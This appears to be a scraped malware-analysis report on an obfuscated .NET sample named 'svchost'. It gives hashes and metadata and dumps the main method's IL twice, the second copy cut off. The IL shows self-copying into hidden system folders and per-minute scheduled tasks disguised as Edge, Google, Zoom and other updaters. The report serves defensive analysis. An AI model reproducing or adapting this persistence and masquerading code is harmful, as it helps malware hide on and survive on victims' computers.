Deep Malware Analysis of bcfe67b91d19cafd0b65697a58c4218f | md5: bcfe67b91d19cafd0b65697a58c4218f | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.98

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Symbol Obfuscation Score Very high

MD5	bcfe67b91d19cafd0b65697a58c4218f
Sha1	6147841e8450f185a64d1fdef515293f3e327e7a
Sha256	bd9324f4a2f381a9f17cea58e0bb4a43d56ae55478cea07854440d07cd7e1102
Sha384	7ddc328ad297e3906ff0fa64b94a82cc21846929b068c05ff0bd885683ea8c729809d2deb7e8ad245a861d9cb965fefe
Sha512	abd7352e298b03ee553f84f38be534992a0317b57627750093e0025981e89b184a891d4928748053dd36b27f7b0069c931e87a7121a7add68b84fad459a57d44
SSDeep	3072:TWDGYPbtpBjsi8h9b2kfjF7iM+lmsolAIrRuw+mqv9j1MWLQb:TWVPbHWL9bF3+lDAA
TLSH	BB0410E06742C425D4AF9679D477A6A7A833A21F9C18850D2CD2FF5B3D32347841BCAB

PeID

.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET

STICH beta

No STICH Path has been generated for this analysis yet.

1 structural branch were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 1

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	00bDvHySw2SNItgH8i4F
Full Name	00bDvHySw2SNItgH8i4F
EntryPoint	System.Void aJnxtFOjyZW8QLW2n5EZ.CX7uEZM9BxkM8PPmD9Ul::E3swGZzMX5NwCEjNbtt3()
Scope Name	00bDvHySw2SNItgH8i4F
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	svchost
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	389
Main Method	System.Void aJnxtFOjyZW8QLW2n5EZ.CX7uEZM9BxkM8PPmD9Ul::E3swGZzMX5NwCEjNbtt3()
Main IL Instruction Count	417
Main IL	ldc.i4.1 <null> call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::rbdLUi7C1YSUKjbtChvz() call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::FiZsNJFs0jJa0HeXOmN5() call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::0QPJbBQnA62zrGev83XP() call System.Void 7UxeI06SuXz6Hg99Vtfm.4804Lu19nBH374ffddBg::aoPfyNta8XNiu3xSk2Uq() call System.Boolean sWXOd5r34FdTtkKFCZVU.ALi44gF9fSpiZsiUmY0f::gPllsNdSYBkSijbn8I9O() brtrue IL_002A: call System.Boolean CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::Vs6Vt5tcduhUUnQmxP3h() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Boolean CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::Vs6Vt5tcduhUUnQmxP3h() brtrue IL_0039: call System.Object CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::2kCuwT3EEfU9UgSlsBJm() call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::Dfmm1OfvZD9DtDnwd2Rg() call System.Object CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::2kCuwT3EEfU9UgSlsBJm() call System.Object Microsoft.VisualBasic.CompilerServices.Operators::NotObject(System.Object) call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object) brfalse IL_0052: leave IL_0069 call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::gfXOzoxbBNENTvgaV4aT() leave IL_0069: call System.Boolean CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::pciQnRarXEe6V6XaPKgp() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0069: call System.Boolean CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::pciQnRarXEe6V6XaPKgp() call System.Boolean CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::pciQnRarXEe6V6XaPKgp() brtrue IL_0078: ldsfld System.String EEjxaHsCP5ujK7OlxGAL.0rEWfPi6mMruhclguASB::wr7NqSNqV3yPXkxB2H4l call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::d7fBFRfRtWH0j30LI0tw() ldsfld System.String EEjxaHsCP5ujK7OlxGAL.0rEWfPi6mMruhclguASB::wr7NqSNqV3yPXkxB2H4l call System.String System.IO.Path::GetFileName(System.String) stloc.s V_4 ldc.i4.5 <null> newarr System.String stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr dGVtcA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr YXBwZGF0YQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr bG9jYWxhcHBkYXRh call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.3 <null> ldc.i4.s 35 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) stelem.ref <null> ldloc.s V_20 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr d2luZGly call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr XFRlbXA= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String System.String::Concat(System.String,System.String) stelem.ref <null> ldloc.s V_20 stloc.s V_5 ldc.i4.s 20 newarr System.String stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RWRnZVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr R29vZ2xlVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr T25lRHJpdmVTeW5j call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.3 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr QWRvYmVVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Q0NsZWFuZXJVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.5 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RHJvcGJveFVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.6 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr TnZVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.7 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr QU1EVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.8 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr aVR1bmVzVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 9 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Wm9vbVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 10 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RGlzY29yZFVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 11 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VGVhbVZpZXdlclVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 12 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr TG9naVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 13 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2Ftc3VuZ1VwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 14 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U3BvdGlmeVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 15 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U3RlYW1VcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 16 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2t5cGVVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 17 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2xhY2tVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 18 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr V2hhdHNBcHBVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 19 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VkxDVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 stloc.s V_6 call System.String sWXOd5r34FdTtkKFCZVU.ALi44gF9fSpiZsiUmY0f::h8NzRCFa1Axb8CpH3D4z() callvirt System.Int32 System.String::GetHashCode() call System.Int32 System.Math::Abs(System.Int32) newobj System.Void System.Random::.ctor(System.Int32) stloc.1 <null> ldloc.s V_6 newobj System.Void System.Collections.Generic.List`1<System.String>::.ctor(System.Collections.Generic.IEnumerable`1<System.String>) stloc.2 <null> ldloc.2 <null> callvirt System.Int32 System.Collections.Generic.List`1<System.String>::get_Count() ldc.i4.1 <null> sub.ovf <null> stloc.s V_8 br IL_039B: ldloc.s V_8 ldloc.1 <null> ldloc.s V_8 ldc.i4.1 <null> add.ovf <null> callvirt System.Int32 System.Random::Next(System.Int32) stloc.s V_9 ldloc.2 <null> ldloc.s V_8 callvirt System.String System.Collections.Generic.List`1<System.String>::get_Item(System.Int32) stloc.s V_10 ldloc.2 <null> ldloc.s V_8 ldloc.2 <null> ldloc.s V_9 callvirt System.String System.Collections.Generic.List`1<System.String>::get_Item(System.Int32) callvirt System.Void System.Collections.Generic.List`1<System.String>::set_Item(System.Int32,System.String) ldloc.2 <null> ldloc.s V_9 ldloc.s V_10 callvirt System.Void System.Collections.Generic.List`1<System.String>::set_Item(System.Int32,System.String) ldloc.s V_8 ldc.i4.m1 <null> add.ovf <null> stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> bge IL_0365: ldloc.1 ldloc.2 <null> ldc.i4.0 <null> ldc.i4.5 <null> callvirt System.Collections.Generic.List`1<System.String> System.Collections.Generic.List`1<System.String>::GetRange(System.Int32,System.Int32) callvirt System.String[] System.Collections.Generic.List`1<System.String>::ToArray() stloc.0 <null> ldc.i4.0 <null> ldloc.s V_5 ldlen <null> conv.ovf.i4 <null> ldc.i4.1 <null> sub.ovf <null> stloc.s V_18 stloc.s V_11 br IL_04E4: ldloc.s V_11 ldloc.s V_5 ldloc.s V_11 ldelem.ref <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr XA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) ldloc.s V_4 call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_12 ldsfld System.String EEjxaHsCP5ujK7OlxGAL.0rEWfPi6mMruhclguASB::wr7NqSNqV3yPXkxB2H4l ldloc.s V_12 ldc.i4.1 <null> call System.Void System.IO.File::Copy(System.String,System.String,System.Boolean) ldloc.s V_12 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.0 <null> ldloc.s V_11 ldelem.ref <null> stloc.s V_13 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr c2NodGFza3MuZXhl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_15 ldloc.s V_15 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) ldloc.s V_15 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) ldloc.s V_15 ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) ldloc.s V_15 ldc.i4.5 <null> newarr System.String stloc.s V_19 ldloc.s V_19 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr L2NyZWF0ZSAvZiAvc2MgbWludXRlIC9tbyAxIC90biAi call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 ldc.i4.1 <null> ldloc.s V_13 stelem.ref <null> ldloc.s V_19 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr IiAvdHIgIg== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 ldc.i4.3 <null> ldloc.s V_12 stelem.ref <null> ldloc.s V_19 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Ig== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_19 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_15 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_14 ldloc.s V_14 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave IL_04C7: leave IL_04DE dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_16 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_04C7: leave IL_04DE leave IL_04DE: ldloc.s V_11 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_17 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_04DE: ldloc.s V_11 ldloc.s V_11 ldc.i4.1 <null> add.ovf <null> stloc.s V_11 ldloc.s V_11 ldloc.s V_18 ble IL_03C1: ldloc.s V_5 ldnull <null> ldftn System.Void aJnxtFOjyZW8QLW2n5EZ.CX7uEZM9BxkM8PPmD9Ul::tfhAeKAAw9YNKTV84bnf() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.3 <null> ldloc.3 <null> ldc.i4.1 <null> callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean) ldloc.3 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.3 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name	00bDvHySw2SNItgH8i4F
Full Name	00bDvHySw2SNItgH8i4F
EntryPoint	System.Void aJnxtFOjyZW8QLW2n5EZ.CX7uEZM9BxkM8PPmD9Ul::E3swGZzMX5NwCEjNbtt3()
Scope Name	00bDvHySw2SNItgH8i4F
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	svchost
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	389
Main Method	System.Void aJnxtFOjyZW8QLW2n5EZ.CX7uEZM9BxkM8PPmD9Ul::E3swGZzMX5NwCEjNbtt3()
Main IL Instruction Count	417
Main IL	ldc.i4.1 <null> call System.Void System.Threading.Thread::Sleep(System.Int32) call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::rbdLUi7C1YSUKjbtChvz() call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::FiZsNJFs0jJa0HeXOmN5() call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::0QPJbBQnA62zrGev83XP() call System.Void 7UxeI06SuXz6Hg99Vtfm.4804Lu19nBH374ffddBg::aoPfyNta8XNiu3xSk2Uq() call System.Boolean sWXOd5r34FdTtkKFCZVU.ALi44gF9fSpiZsiUmY0f::gPllsNdSYBkSijbn8I9O() brtrue IL_002A: call System.Boolean CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::Vs6Vt5tcduhUUnQmxP3h() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Boolean CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::Vs6Vt5tcduhUUnQmxP3h() brtrue IL_0039: call System.Object CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::2kCuwT3EEfU9UgSlsBJm() call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::Dfmm1OfvZD9DtDnwd2Rg() call System.Object CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::2kCuwT3EEfU9UgSlsBJm() call System.Object Microsoft.VisualBasic.CompilerServices.Operators::NotObject(System.Object) call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.Object) brfalse IL_0052: leave IL_0069 call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::gfXOzoxbBNENTvgaV4aT() leave IL_0069: call System.Boolean CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::pciQnRarXEe6V6XaPKgp() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave IL_0069: call System.Boolean CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::pciQnRarXEe6V6XaPKgp() call System.Boolean CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::pciQnRarXEe6V6XaPKgp() brtrue IL_0078: ldsfld System.String EEjxaHsCP5ujK7OlxGAL.0rEWfPi6mMruhclguASB::wr7NqSNqV3yPXkxB2H4l call System.Void CWGtced5lXla5VgXY5si.SXOu8IwQaSwkTuJ1K5a3::d7fBFRfRtWH0j30LI0tw() ldsfld System.String EEjxaHsCP5ujK7OlxGAL.0rEWfPi6mMruhclguASB::wr7NqSNqV3yPXkxB2H4l call System.String System.IO.Path::GetFileName(System.String) stloc.s V_4 ldc.i4.5 <null> newarr System.String stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr dGVtcA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr YXBwZGF0YQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr bG9jYWxhcHBkYXRh call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) stelem.ref <null> ldloc.s V_20 ldc.i4.3 <null> ldc.i4.s 35 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) stelem.ref <null> ldloc.s V_20 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr d2luZGly call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String Microsoft.VisualBasic.Interaction::Environ(System.String) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr XFRlbXA= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String System.String::Concat(System.String,System.String) stelem.ref <null> ldloc.s V_20 stloc.s V_5 ldc.i4.s 20 newarr System.String stloc.s V_20 ldloc.s V_20 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RWRnZVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr R29vZ2xlVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr T25lRHJpdmVTeW5j call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.3 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr QWRvYmVVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.4 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Q0NsZWFuZXJVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.5 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RHJvcGJveFVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.6 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr TnZVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.7 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr QU1EVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.8 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr aVR1bmVzVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 9 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr Wm9vbVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 10 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr RGlzY29yZFVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 11 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VGVhbVZpZXdlclVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 12 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr TG9naVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 13 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2Ftc3VuZ1VwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 14 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U3BvdGlmeVVwZGF0ZQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 15 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U3RlYW1VcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 16 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2t5cGVVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 17 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr U2xhY2tVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 18 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr V2hhdHNBcHBVcGRhdGU= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 ldc.i4.s 19 nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VkxDVXBkYXRl call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_20 stloc.s V_6 call System.String sWXOd5r34FdTtkKFCZVU.ALi44gF9fSpiZsiUmY0f::h8NzRCFa1Axb8CpH3D4z() callvirt System.Int32 System.String::GetHashCode() call System.Int32 System.Math::Abs(System.Int32) newobj System.Void System.Random::.ctor(System.Int32) stloc.1 <null> ldloc.s V_6 newobj System.Void 